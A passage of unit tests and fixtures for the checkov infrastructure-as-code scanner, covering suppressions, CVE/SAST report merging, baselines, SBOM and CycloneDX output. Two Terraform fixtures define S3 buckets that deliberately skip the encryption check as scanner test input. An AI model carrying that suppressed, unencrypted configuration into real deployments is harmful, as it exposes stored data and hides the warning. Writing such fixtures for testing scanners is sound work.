file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3 = Record(check_id='CKV_AWS_80', check_name=None, check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record4 = Record(check_id='CKV_AWS_2', check_name=None, check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) report = Report('terraform') report.add_record(record1) report.add_record(record2) report.add_record(record3) report.add_record(record4) suppressions_integration._apply_suppressions_to_report(report) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.failed_checks[0].check_id, 'CKV_AWS_1') self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.passed_checks[0].check_id, 'CKV_AWS_2') # We are omitting policy level suppression self.assertEqual(len(report.skipped_checks), 0) def test_get_policy_level_suppressions(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration.suppressions = { 'CKV_AWS_252': [{'suppressionType': 'Policy', "isV1": True, 'id': '404088ed-4251-41ac-8dc1-45264af0c461', 'policyId': 'BC_AWS_GENERAL_175', 'creationDate': '2022-11-09T16:27:36.413Z', 'comment': 'Test2', 'checkovPolicyId': 'CKV_AWS_252'}], 'CKV_AWS_36': [ {'suppressionType': 'Policy', "isV1": True, 'id': 'b68013bc-2908-4c9a-969d-f1640d4aca11', 'policyId': 'BC_AWS_LOGGING_2', 'creationDate': '2022-11-09T16:11:58.435Z', 'comment': 'Testing', 'checkovPolicyId': 'CKV_AWS_36'}], 'CKV_K8S_27': [ {'suppressionType': 'Policy', "isV1": True, 'id': '271c1a79-2333-4a12-bf7d-55ec78468b94', 'policyId': 'BC_K8S_26', 'creationDate': '2022-12-08T08:00:04.561Z', 'comment': 'test checkov suppressions', 'checkovPolicyId': 'CKV_K8S_27'}], 'acme_AWS_1668010000289': [ {'suppressionType': 'Resources', "isV1": True, 'id': '5565e523-58da-4bc7-970e-c3fceef93ac1', 'policyId': 'acme_AWS_1668010000289', 'creationDate': '2022-11-09T16:28:50.887Z', 'comment': 'Testing', 'resources': [{'accountId': 'acme_cli_repo/testing-resources', 'resourceId': '/src/BC_AWS_LOGGING_7.tf:aws_cloudtrail.cloudtrail9'}], 'checkovPolicyId': 'acme_AWS_1668010000289'}, {'suppressionType': 'Resources', "isV1": True, 'id': 'adf6f831-4393-4dcb-b345-2a14bf944267', 'policyId': 'acme_AWS_1668010000289', 'creationDate': '2022-11-09T16:28:50.951Z', 'comment': 'Testing', 'resources': [{'accountId': 'acme_cli_repo/testing-resources', 'resourceId': '/src/BC_AWS_LOGGING_7.tf:aws_cloudtrail.cloudtrail10'}], 'checkovPolicyId': 'acme_AWS_1668010000289'}, {'suppressionType': 'Resources', "isV1": True, 'id': '86d88e69-5755-4e69-965b-f97fc26e784b', 'policyId': 'acme_AWS_1668010000289', 'creationDate': '2022-11-09T16:28:50.838Z', 'comment': 'Testing', 'resources': [{'accountId': 'acme_cli_repo/testing-resources', 'resourceId': '/src/BC_AWS_LOGGING_7.tf:aws_cloudtrail.cloudtrail8'}], 'checkovPolicyId': 'acme_AWS_1668010000289'}]} suppressions_integration.suppressions_v2 = { "CKV3_SAST_1": [{ "ruleType": "policy", "isV1": False, "id": "1111", "policyIds": ["BC_SAST_1", "BC_SAST_2"] }], "CKV3_SAST_2": [ { "ruleType": "policy", "isV1": False, "id": "2222", "policyIds": ["BC_SAST_3", "BC_SAST_2"] }, { "ruleType": "repository", "isV1": False, "id": "3333", "policyIds": ["BC_SAST_1", "BC_SAST_3"] } ] } expected_suppressions = ['404088ed-4251-41ac-8dc1-45264af0c461', 'b68013bc-2908-4c9a-969d-f1640d4aca11', '271c1a79-2333-4a12-bf7d-55ec78468b94', '1111', '2222'] policy_level_suppressions = suppressions_integration.get_policy_level_suppressions() self.assertEqual(expected_suppressions, list(policy_level_suppressions.keys())) self.assertEqual(policy_level_suppressions['404088ed-4251-41ac-8dc1-45264af0c461'], ['BC_AWS_GENERAL_175']) self.assertEqual(policy_level_suppressions['b68013bc-2908-4c9a-969d-f1640d4aca11'], ['BC_AWS_LOGGING_2']) self.assertEqual(policy_level_suppressions['271c1a79-2333-4a12-bf7d-55ec78468b94'], ['BC_K8S_26']) self.assertEqual(policy_level_suppressions['1111'], ["BC_SAST_1", "BC_SAST_2"]) self.assertEqual(policy_level_suppressions['2222'], ["BC_SAST_3", "BC_SAST_2"]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/integration_features/test_vulnerabilities_integration.py ================================================ import os import unittest from unittest.mock import patch from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.integration_features.features.vulnerabilities_integration import \ VulnerabilitiesIntegration, NORMALIZE_PREFIX from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME from checkov.common.output.report import Report from checkov.common.sast.consts import SastLanguages from checkov.sast.report import SastReport from checkov.common.sast.report_types import Package, File, Function, PrismaReport class TestVulnerabilitiesIntegration(unittest.TestCase): @patch.dict('os.environ', {'CKV_ENABLE_UPLOAD_SAST_IMPORTS':'True', 'CKV_ENABLE_SCA_INTEGRATE_SAST': 'True'}) def test_full_enrich_cves(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) cve1 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME, file_path='/package.json', vulnerability_details={ 'id': 'CVE-2022-38778', 'severity': 'medium', 'package_name': 'decode-uri-component', 'package_version': '0.2.0', 'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False, 'AttackVector': 'network', 'AttackComplexity': 'low', 'IsUsed': False} }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='') cve2 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME, file_path='/package.json', vulnerability_details={ 'id': 'CVE-2022-11111', 'severity': 'medium', 'package_name': 'decode-uri-component', 'package_version': '0.2.0', 'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False, 'AttackVector': 'network', 'AttackComplexity': 'low', 'IsUsed': False} }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='') cve3 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME, file_path='/no_exists/package.json', vulnerability_details={ 'id': 'CVE-2022-22222', 'severity': 'medium', 'package_name': 'decode-uri-component', 'package_version': '0.2.0', 'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False, 'AttackVector': 'network', 'AttackComplexity': 'low', 'IsUsed': False} }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='') failed_checks: list[Record] = [cve1, cve2, cve3] sast_imports = { '/innerFiles/code.js': {'all': ["bson", "decode-uri-component", "parse-path"]}, '/main.js': {'all': ["bson", "decode-uri-component", "parse-path"]} } sca_report: Report = Report(check_type=CheckType.SCA_PACKAGE) sca_report.failed_checks = failed_checks sast_report: SastReport = SastReport(check_type=CheckType.SAST_JAVASCRIPT, language=SastLanguages.JAVASCRIPT, metadata=None, sast_report=PrismaReport(rule_match={}, errors={}, profiler={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={})) sast_report.sast_imports = sast_imports merged_reports = [sca_report, sast_report] vul_integration.merge_sca_and_sast_reports(merged_reports) self.assertTrue(cve1.vulnerability_details.get('risk_factors', {})['IsUsed']) self.assertTrue(cve2.vulnerability_details.get('risk_factors', {})['IsUsed']) self.assertFalse(cve3.vulnerability_details.get('risk_factors', {})['IsUsed']) @patch.dict('os.environ', {'CKV_ENABLE_UPLOAD_SAST_IMPORTS':'True', 'CKV_ENABLE_SCA_INTEGRATE_SAST': 'True'}) def test_unsupported_sast_lang(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) cve1 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME, file_path='/csproj', vulnerability_details={ 'id': 'CVE-2022-38778', 'severity': 'medium', 'package_name': 'decode-uri-component', 'package_version': '0.2.0', 'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False, 'AttackVector': 'network', 'AttackComplexity': 'low', 'IsUsed': False} }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='') failed_checks: list[Record] = [cve1] sast_imports = { 'Imports': {'/innerFiles/code.js': {'All': ["'bson'", "'decode-uri-component'", "'parse-path'"]}, '/main.js': {'All': ["'bson'", "'decode-uri-component'", "'parse-path'"]}}} sca_report: Report = Report(check_type=CheckType.SCA_PACKAGE) sca_report.failed_checks = failed_checks sast_report: SastReport = SastReport(check_type=CheckType.SAST_JAVASCRIPT, language=SastLanguages.JAVASCRIPT, metadata=None, sast_report=PrismaReport(rule_match={}, errors={}, profiler={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={})) sast_report.sast_imports = sast_imports merged_reports = [sca_report, sast_report] vul_integration.merge_sca_and_sast_reports(merged_reports) self.assertFalse(cve1.vulnerability_details.get('risk_factors', {})['IsUsed']) def test_compare_paths_same_level(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) main_file = '/package.json'; relative_file = '/main.js'; is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file) self.assertTrue(is_relative) def test_compare_paths_child_level(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) main_file = '/package.json'; relative_file = '/src/main.js'; is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file) self.assertTrue(is_relative) def test_compare_paths_parent_level(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) main_file = '/src/package.json'; relative_file = '/main.js'; is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file) self.assertFalse(is_relative) def test_compare_paths_relative_level(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) main_file = '/package.json'; relative_file = '../main.js'; is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file) self.assertFalse(is_relative) def test_compare_paths_valid_relative_level(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) main_file = '/src2/../src/main.js'; relative_file = '/src/package.json'; is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file) self.assertTrue(is_relative) def test_normalized_package_name_case_dot(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) original = '../asdas/asdasd/asdasd/asd.txt' expected = f"{NORMALIZE_PREFIX}asd.txt" result = vul_integration.normalize_package_name(original) self.assertTrue(result, expected) def test_normalized_package_name_case_without_relative(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) original = 'asdas/asdasd/asdasd/asd.txt' expected = f"{NORMALIZE_PREFIX}asdas/asdasd/asdasd/asd.txt" result = vul_integration.normalize_package_name(original) self.assertTrue(result, expected) def test_normalized_package_name_case_dot_in_name(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) original = 'asd.txt' expected = f"{NORMALIZE_PREFIX}asd.txt" result = vul_integration.normalize_package_name(original) self.assertTrue(result, expected) def test_normalized_package_name_case_relative_package(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) original = '../asdas/asdasd/asdasd/asd.txt' expected = f"{NORMALIZE_PREFIX}asd.txt" result = vul_integration.normalize_package_name(original) self.assertTrue(result, expected) def test_normalized_package_name_case_with_underscore(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) original = 'asd2_asd' expected = f"{NORMALIZE_PREFIX}asd2asd" result = vul_integration.normalize_package_name(original) self.assertTrue(result, expected) def test_normalized_package_name_case_with_minus(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) original = 'asd2-asd' expected = f"{NORMALIZE_PREFIX}asd2asd" result = vul_integration.normalize_package_name(original) self.assertTrue(result, expected) def test_normalized_package_name_case_simple(self): instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) original = 'asd' expected = f"{NORMALIZE_PREFIX}asd" result = vul_integration.normalize_package_name(original) self.assertTrue(result, expected) def test_create_reachable_cves_by_package_map(self): filtered_reachability_entries = [ ('/index.js', File(packages={ 'axios': Package(alias='ax', functions=[ Function(name='trim', alias='hopa', line_number=4, code_block='hopa()', cve_id='cve-11') ]), 'lodash': Package(alias='', functions=[ Function(name='template', alias='', line_number=1, code_block='template()', cve_id='cve-12'), Function(name='toNumber', alias='', line_number=4, code_block='hopa()', cve_id='cve-13') ]) })) ] instance = BcPlatformIntegration() vul_integration = VulnerabilitiesIntegration(instance) reachable_data_by_package_map = vul_integration.create_reachable_cves_by_package_map(filtered_reachability_entries) assert reachable_data_by_package_map == { 'axios': {'cve-11'}, 'lodash': {'cve-12', 'cve-13'} } if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/output/__init__.py ================================================ ================================================ FILE: tests/common/output/conftest.py ================================================ from __future__ import annotations from typing import Any import pytest from checkov.common.secrets.consts import ValidationStatus from checkov.common.bridgecrew.check_type import CheckType from checkov.common.models.enums import CheckResult from checkov.common.output.secrets_record import SecretsRecord from checkov.common.output.report import Report @pytest.fixture def secrets_report() -> Report: kwargs = {'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock', 'file_path': 'mock', 'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'} record_1 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_1", check_result={"result": CheckResult.FAILED}, validation_status=ValidationStatus.VALID.value, **kwargs) record_2 = SecretsRecord(bc_check_id="VIOLATION_2", resource="RESOURCE_2", check_result={"result": CheckResult.FAILED}, validation_status=ValidationStatus.INVALID.value, **kwargs) record_3 = SecretsRecord(bc_check_id="VIOLATION_3", resource="RESOURCE_3", check_result={"result": CheckResult.FAILED}, validation_status=ValidationStatus.UNKNOWN.value, **kwargs) record_4 = SecretsRecord(bc_check_id="VIOLATION_4", resource="RESOURCE_4", check_result={"result": CheckResult.FAILED}, validation_status=ValidationStatus.VALID.value, **kwargs) record_5 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_1", check_result={"result": CheckResult.PASSED}, validation_status=ValidationStatus.INVALID.value, **kwargs) report = Report(CheckType.SECRETS) report.add_record(record_1) report.add_record(record_2) report.add_record(record_3) report.add_record(record_4) report.add_record(record_5) return report @pytest.fixture() def json_reduced_check() -> dict[str, Any]: return { "check_id": "CKV_GHA_1", "check_name": "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\u0027t true on environment variables", "check_result": { "result": "PASSED", "results_configuration": {} }, "resource": "jobs(container-test-job)", "file_path": "/.github/workflows/image_no_violation.yml", "file_line_range": [ 7, 7 ], "file_abs_path": "/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml", "code_block": [ [ 7, " runs-on: ubuntu-latest\n" ], ], "bc_check_id": "BC_REPO_GITHUB_ACTION_1", "inspected_key_line": None, "evaluated_keys": None, "inspected_key": "", "inspected_value": "" } @pytest.fixture() def json_reduced_report() -> dict[str, Any]: return { "checks": { "passed_checks": [ { "check_id": "CKV_GHA_1", "check_name": "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\u0027t true on environment variables", "check_result": { "result": "PASSED", "results_configuration": {} }, "resource": "jobs(container-test-job)", "file_path": "/.github/workflows/image_no_violation.yml", "file_line_range": [ 7, 7 ], "file_abs_path": "/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml", "code_block": [ [ 7, " runs-on: ubuntu-latest\n" ], ], "bc_check_id": "BC_REPO_GITHUB_ACTION_1", "inspected_key_line": None, "evaluated_keys": None, "inspected_key": "", "inspected_value": "" } ], "failed_checks": [ { "check_id": "CKV_GHA_2", "check_name": "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\u0027t true on environment variables", "check_result": { "result": "FAILED", "results_configuration": {} }, "resource": "jobs(container-test-job)", "file_path": "/.github/workflows/image_no_violation.yml", "file_line_range": [ 7, 7 ], "file_abs_path": "/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml", "code_block": [ [ 7, " runs-on: ubuntu-latest\n" ], ], "bc_check_id": "BC_REPO_GITHUB_ACTION_1", "inspected_key_line": None, "evaluated_keys": None, "inspected_key": "", "inspected_value": "" } ], "skipped_checks": [] }, "image_cached_results": [] } ================================================ FILE: tests/common/output/fixtures/main.tf ================================================ resource "aws_s3_bucket" "destination" { # checkov:skip=CKV_AWS_19: no encryption needed bucket = "tf-test-bucket-destination-12345" acl = var.acl versioning { enabled = var.is_enabled } } ================================================ FILE: tests/common/output/fixtures/main_2.tf ================================================ resource "aws_s3_bucket" "destination_3" { # checkov:skip=CKV_AWS_19: no encryption needed bucket = "tf-test-bucket-destination-12345" acl = var.acl versioning { enabled = var.is_enabled } } resource "aws_s3_bucket" "destination_2" { # checkov:skip=CKV_AWS_19: no encryption needed bucket = "tf-test-bucket-destination-12345" acl = var.acl versioning { enabled = var.is_enabled } } ================================================ FILE: tests/common/output/test_baseline.py ================================================ import argparse from pathlib import Path from checkov.common.output.baseline import Baseline from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner def test_to_dict(): # given test_folder = Path(__file__).parent / "fixtures" checks = ["CKV_AWS_18", "CKV_AWS_19", "CKV_AWS_21", "CKV2_AWS_6"] # 1 pass, 2 fail, 1 skip report = Runner().run(root_folder=str(test_folder), runner_filter=RunnerFilter(checks=checks)) baseline = Baseline() baseline.add_findings_from_report(report) # when output = baseline.to_dict() # then assert output == { "failed_checks": [ { "file": "/main.tf", "findings": [ { "resource": "aws_s3_bucket.destination", "check_ids": ["CKV2_AWS_6", "CKV_AWS_18"], } ], }, { "file": "/main_2.tf", "findings": [ { "resource": "aws_s3_bucket.destination_2", "check_ids": ["CKV2_AWS_6", "CKV_AWS_18"], }, { "resource": "aws_s3_bucket.destination_3", "check_ids": ["CKV2_AWS_6", "CKV_AWS_18"], }, ], }, ] } ================================================ FILE: tests/common/output/test_bom_report.py ================================================ import logging import os import io import sys from pathlib import Path from unittest.mock import patch from checkov.cloudformation.runner import Runner as cfn_runner from checkov.common.runners.runner_registry import RunnerRegistry from checkov.common.util.banner import banner from checkov.kubernetes.runner import Runner as k8_runner from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner as tf_runner logger = logging.getLogger() logger.level = logging.INFO class TestBomOutput: def test_iac_csv_output(self, tmp_path: Path): test_files_dir = os.path.dirname(os.path.realpath(__file__)) + "/../runner_registry/example_s3_tf" runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None) runner_registry = RunnerRegistry( banner, runner_filter, tf_runner(), cfn_runner(), k8_runner() ) reports = runner_registry.run(root_folder=test_files_dir) with patch('sys.stdout', new=io.StringIO()) as captured_output: try: stream_handler = logging.StreamHandler(sys.stdout) logger.addHandler(stream_handler) runner_registry.print_iac_bom_reports(output_path=str(tmp_path), scan_reports=reports, output_types=['csv'], account_id="org/name") finally: logger.removeHandler(stream_handler) output = captured_output.getvalue() assert 'Persisting SBOM to' in output iac_file_path = tmp_path / 'results_iac.csv' with open(iac_file_path) as file: content = file.readlines() header = content[:1][0] assert 'Resource,Path,Git Org,Git Repository,Misconfigurations,Severity,Policy title,Guideline\n' == header rows = content[1:] assert 'aws_s3_bucket' in rows[0] def test_sca_package_csv_output(self, tmp_path: Path): """ tests for sca_package cvs are located in: tests/sca_package/test_output_reports.py """ assert True def test_sca_image_csv_output(self, tmp_path: Path): """ tests for sca_image cvs are located in: tests/sca_image/test_output_reports.py """ assert True def test_print_iac_bom_reports(self, tmp_path: Path): test_files_dir = os.path.dirname(os.path.realpath(__file__)) + "/../runner_registry/example_s3_tf" runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None) runner_registry = RunnerRegistry( banner, runner_filter, tf_runner(), cfn_runner(), k8_runner() ) reports = runner_registry.run(root_folder=test_files_dir) output_types = ["cyclonedx", "csv"] output_path = tmp_path result_files_list = runner_registry.print_iac_bom_reports(output_path=str(output_path), scan_reports=reports, output_types=output_types, account_id="org/name") assert len(result_files_list) == len(output_types) for result_file in result_files_list.values(): assert os.path.exists(result_file) ================================================ FILE: tests/common/output/test_common.py ================================================ import pytest from checkov.common.output.common import compare_table_items_severity def test_compare_cve_items_severity(): # given cve = [ {"id": "CVE-2016-6186", "severity": "medium", "fixed_version": "1.8.14"}, {"id": "CVE-2016-7401", "severity": "high", "fixed_version": "1.8.15"}, {"id": "CVE-2021-33203", "severity": "medium", "fixed_version": "2.2.24"}, {"id": "CVE-2019-19844", "severity": "critical", "fixed_version": "1.11.27"}, ] # when cve.sort(key=compare_table_items_severity, reverse=True) # then assert cve == [ {"id": "CVE-2019-19844", "severity": "critical", "fixed_version": "1.11.27"}, {"id": "CVE-2016-7401", "severity": "high", "fixed_version": "1.8.15"}, {"id": "CVE-2016-6186", "severity": "medium", "fixed_version": "1.8.14"}, {"id": "CVE-2021-33203", "severity": "medium", "fixed_version": "2.2.24"}, ] def test_compare_iac_items_severity(): # given iac = [ {"id": "BC_K8S_1", "severity": "medium"}, {"id": "BC_K8S_2", "severity": "high"}, {"id": "BC_K8S_3", "severity": "medium"}, {"id": "BC_K8S_4", "severity": "critical"}, ] # when iac.sort(key=compare_table_items_severity, reverse=True) # then assert iac == [ {"id": "BC_K8S_4", "severity": "critical"}, {"id": "BC_K8S_2", "severity": "high"}, {"id": "BC_K8S_1", "severity": "medium"}, {"id": "BC_K8S_3", "severity": "medium"} ] ================================================ FILE: tests/common/output/test_cyclonedx_report.py ================================================ import json import os from pathlib import Path from cyclonedx.model.component import Component, ComponentType from cyclonedx.model.vulnerability import VulnerabilitySeverity from packageurl import PackageURL from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.report import Report, CheckType from pytest_mock import MockerFixture from checkov.common.output.common import ImageDetails from checkov.common.output.cyclonedx import CycloneDX from checkov.common.sca.commons import get_package_lines from checkov.common.sca.output import create_report_cve_record from checkov.common.output.record import Record from checkov.terraform.runner import Runner def test_valid_cyclonedx_bom(): # given test_file = Path(__file__).parent / "fixtures/main.tf" repo_id = "acme/example" report = Runner().run(root_folder="", files=[str(test_file)]) # when cyclonedx = CycloneDX(repo_id=repo_id, reports=[report]) output = cyclonedx.get_xml_output() # then assert len(cyclonedx.bom.components) == 1 component = next(iter(cyclonedx.bom.components)) assert component.name == 'aws_s3_bucket.destination' assert component.purl.name == 'aws_s3_bucket.destination' assert component.purl.namespace == 'acme/example/main.tf' assert component.purl.type == 'terraform' assert component.purl.version.startswith('sha1:') assert component.type == ComponentType.APPLICATION assert len(cyclonedx.bom.vulnerabilities) == 6 # doesn't matter which vulnerability, they are all unknown for runs without platform connection assert next(iter(next(iter(cyclonedx.bom.vulnerabilities)).ratings)).severity == VulnerabilitySeverity.UNKNOWN assert "http://cyclonedx.org/schema/bom/1.4" in output def test_valid_cyclonedx_image_bom(): # given repo_id = 'acme/repo' rootless_file_path = "Dockerfile (sha256:123456)" file_abs_path = "/path/to/Dockerfile (sha256:123456)" check_class = "checkov.common.bridgecrew.vulnerability_scanning.sca_scanner.imageScanner" image_details: ImageDetails = ImageDetails( distro='Debian GNU/Linux 11 (bullseye)', distro_release='bullseye', package_types={'curl@7.74.0-1.3+deb11u1': 'os'}, image_id='ubuntu:latest' ) vulnerability = { 'id': 'CVE-2022-32207', 'status': 'fixed in 7.74.0-1.3+deb11u2', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'When curl < 7.84.0 saves cookies, alt-svc and hsts data to local files, it makes the operation atomic by finalizing the operation with a rename from a temporary name to the final target file name.In that rename operation, it might accidentally *widen* the permissions for the target file, leaving the updated file accessible to more users than intended.', 'severity': 'critical', 'packageName': 'curl', 'packageVersion': '7.74.0-1.3+deb11u1', 'link': 'https://security-tracker.debian.org/tracker/CVE-2022-32207', 'riskFactors': [ 'Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix', 'Recent vulnerability' ], 'impactedVersions': ['<7.74.0-1.3+deb11u2'], 'publishedDate': '2022-07-07T16:15:00+03:00', 'discoveredDate': '2022-08-02T14:05:40+03:00', 'fixDate': '2022-07-07T16:15:00+03:00' } record: Record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability, licenses="BSD-3-Clause", sca_details=image_details, package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, ) report = Report(check_type='sca_image') report.add_record(record) # when cyclonedx = CycloneDX(repo_id=repo_id, reports=[report]) output = cyclonedx.get_xml_output() # then assert len(cyclonedx.bom.components) == 2 package_purl = PackageURL( name='curl', namespace='acme/repo/Dockerfile/debian', type='deb', version='7.74.0-1.3+deb11u1', qualifiers={'distro': 'bullseye'} ) package_component = cyclonedx.bom.get_component_by_purl(purl=package_purl) assert package_component is not None assert package_component.name == "curl" assert package_component.type == ComponentType.LIBRARY assert package_component.version == "7.74.0-1.3+deb11u1" assert len(package_component.licenses) == 1 assert next(iter(package_component.licenses)).name == "BSD-3-Clause" assert len(cyclonedx.bom.vulnerabilities) == 1 assert next(iter(next(iter(cyclonedx.bom.vulnerabilities)).ratings)).severity == VulnerabilitySeverity.CRITICAL image_purl = PackageURL( name='Dockerfile', namespace='acme/repo', type='oci', version='ubuntu:latest', ) image_component = Component( name='acme/repo//ubuntu:latest', purl=image_purl, group=None, type=ComponentType.CONTAINER, version='' ) assert cyclonedx.bom.has_component(image_component) assert "http://cyclonedx.org/schema/bom/1.4" in output def test_sca_packages_cyclonedx_bom(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "moderate", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", } package = {'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False, "linesNumbers": [2, 6]} # when record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses='OSI_BDS', package=package, file_line_range=get_package_lines(package) ) report = Report(CheckType.SCA_PACKAGE) report.add_resource(record.resource) report.add_record(record) report.extra_resources.add( ExtraResource( file_abs_path=file_abs_path, file_path=f"/{rootless_file_path}", resource=f'{rootless_file_path}.testpkg', vulnerability_details={ "package_name": "testpkg", "package_version": "1.1.1", "licenses": "MIT", } ) ) cyclonedx = CycloneDX([report], "repoid/test") output = cyclonedx.get_xml_output() # then assert record.file_line_range == [2, 6] assert output def test_duplicate_sca_packages_cyclonedx_bom(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "moderate", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", } package_1 = { "package_registry": "https://registry.npmjs.org/", "is_private_registry": False, "linesNumbers": [2, 3], } package_2 = { "package_registry": "https://registry.npmjs.org/", "is_private_registry": False, "linesNumbers": [5, 6], } record_1 = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses="OSI_BDS", package=package_1, file_line_range=get_package_lines(package_1), ) record_2 = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses="OSI_BDS", package=package_2, file_line_range=get_package_lines(package_2), ) report = Report(CheckType.SCA_PACKAGE) report.add_resource(record_1.resource) report.add_record(record_1) report.add_resource(record_2.resource) report.add_record(record_2) # when cyclonedx = CycloneDX([report], "repoid/test") # then assert len(cyclonedx.bom.components) == 1 component = next(iter(cyclonedx.bom.components)) assert component.bom_ref.value == "pkg:pypi/repoid/test/requirements.txt/django@1.2" def test_create_schema_version_1_3(mocker: MockerFixture): # given test_file = Path(__file__).parent / "fixtures/main.tf" repo_id = 